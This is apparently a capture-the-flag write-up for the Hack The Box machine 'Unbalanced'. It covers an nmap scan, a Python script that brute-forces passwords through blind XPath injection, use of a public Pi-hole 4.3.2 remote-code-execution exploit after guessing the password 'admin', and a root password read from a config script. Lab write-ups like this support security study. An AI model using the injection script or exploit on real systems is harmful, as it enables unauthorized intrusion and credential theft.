Unbalanced is a Linux, hard box is a created by polarbearer & GibParadox. Initial Enumeration was finding and download EncFS folder, and cracking that and opening the squid.conf and getting the squid password to look at Fully qualified domain name cache which gave us few IPs. Looking on those we found XPATH injection on removed IP from load-balancer. Using the injection we can find some usernames and again using Blind injection we can crack the password. Which give us access to ssh Enumerating we find pi-hole running. Exploiting that we get a shell as www-data which have access to docker root which have few scripts and one of them contained root password. using which we get root.
Enumeration
nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
# Nmap 7.80 scan initiated Wed Sep 23 21:57:36 2020 as: nmap -sC -sV -Pn -oN nmap/unbalanced 10.10.10.200 Nmap scan report for 10.10.10.200 Host is up (0.081s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA) | 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA) |_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519) 873/tcp open rsync (protocol version 31) 3128/tcp open http-proxy Squid http proxy 4.6 |_http-server-header: squid/4.6 |_http-title: ERROR: The requested URL could not be retrieved Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 23 21:57:52 2020 -- 1 IP address (1 host up) scanned in 16.67 seconds
Which show us sshrsync and squid proxy is running on the box.
invalidLength = len(makeRequest("hello","hello")) print("[*] Got Invalid Length as "+str(invalidLength)) # Brute for user in usernames: password = '' print('Attemping User :',user) for i inrange(1,80): found=False for l in letters: payload = "' or Username ='"+user+"' and substring(Password,"+str(i)+",1)='"+l response = makeRequest('',payload) iflen(response) != invalidLength: found=True break ifnot found: break print('[+] Found character: {}'.format(l)) password += l print("Username: {} Password: {}".format(user,password))
############ # Intranet # ############ * Install new intranet-host3 docker [DONE] * Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE] * Test intranet-host3 [DONE] * Add intranet-host3 to load balancer [DONE] * Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE] * Fix intranet-host2 [DONE] * Re-add intranet-host2 to load balancer (set default weight) [DONE] - Fix intranet-host1 [TODO] - Re-add intranet-host1 to load balancer (set default weight) [TODO]
########### # Pi-hole # ########### * Install Pi-hole docker (only listening on 127.0.0.1) [DONE] * Set temporary admin password [DONE] * Create Pi-hole configuration script [IN PROGRESS] - Run Pi-hole configuration script [TODO] - Expose Pi-hole ports to the network [TODO]
Knowing the default port for pi-hole web is 8080. I tried to curl it
1 2
curl http://127.0.0.1:8080 [ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled errormessage (<code>Invalid domain!</code>)</code>
But that gave me error.
Checking linpeas output
we see a host as 172.31.11.3
we find pi-hole is running on
1 2 3 4 5 6
curl http://172.31.11.3:80
<html><head> <metaname="viewport"content="width=device-width, initial-scale=1, maximum-scale=1"/> <linkrel='stylesheet'href='/pihole/blockingpage.css'type='text/css'/> </head><bodyid='splashpage'><imgsrc='/admin/img/logo.svg'/><br/>Pi-<b>hole</b>: Your black hole for Internet advertisements<br><ahref='/admin'>Did you mean to go to the admin panel?</a></body></html>
Lets port forward it and check it in browser
we see the version to be 4.3.2
Checking searchsploit we see it have an RCE.
So now we need a password for pi-hole. Going back to the todo we see they set an temporary password so i tried common password admin and boom we are in
so using the exploit 48727 we can get a shell as www-data
www-data@pihole:/root$ cat pihole_config.sh cat pihole_config.sh #!/bin/bash # Add domains to whitelist /usr/local/bin/pihole -w unbalanced.htb /usr/local/bin/pihole -w rebalanced.htb # Set temperature unit to Celsius /usr/local/bin/pihole -a -c # Add local host record /usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1 # Set privacy level /usr/local/bin/pihole -a -l 4 # Set web admin interface password /usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!' # Set admin email /usr/local/bin/pihole -a email admin@unbalanced.htb
We get a password as bUbBl3gUm$43v3Ry0n3! checking the password with su on ssh shell we see we can su to root